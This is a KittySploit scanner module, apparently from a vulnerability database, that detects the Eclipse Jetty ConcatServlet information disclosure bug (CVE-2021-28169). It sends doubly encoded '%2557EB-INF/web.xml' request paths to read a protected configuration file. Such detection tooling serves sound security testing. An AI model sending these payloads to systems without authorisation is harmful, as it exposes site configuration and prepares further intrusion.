Eclipse Jetty ConcatServlet - Information Disclosure Detection
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Eclipse Jetty through 9."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Eclipse Jetty ConcatServlet - Information Disclosure Detection',
'description': 'Eclipse Jetty through 9.4.40, through 10.0.2, and through 11.0.2 is susceptible to information disclosure. Requests to the ConcatServlet with a doubly encoded path can access protected resources within the WEB-INF directory, thus enabling an attacker to potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2021', 'jetty', 'eclipse', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://twitter.com/sec715/status/1406787963569065988',
'https://github.com/eclipse/jetty.project/security/advisories/GHSA-gwcr-j4wh-j3cq',
'https://lists.apache.org/thread.html/r2721aba31a8562639c4b937150897e24f78f747cdbda8641c0f659fe@%3Cusers.kafka.apache.org%3E',
'https://nvd.nist.gov/vuln/detail/CVE-2021-28169',
'https://lists.apache.org/thread.html/r04a4b4553a23aff26f42635a6ae388c3b162aab30a88d12e59d05168@%3Cjira.kafka.apache.org%3E',
],
'cve': 'CVE-2021-28169',
}
def run(self):
for path in ('/static?/%2557EB-INF/web.xml', '/concat?/%2557EB-INF/web.xml'):
r = self.http_request(method="GET", path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('</web-app>', 'java.sun.com',)
header_any = ('application/xml',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(
severity='medium',
reason="Eclipse Jetty ConcatServlet - Information Disclosure detected",
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
6.8Medium risk
Vulners AI Score6.8
CVSS 25
CVSS 3.15.3
EPSS0.7848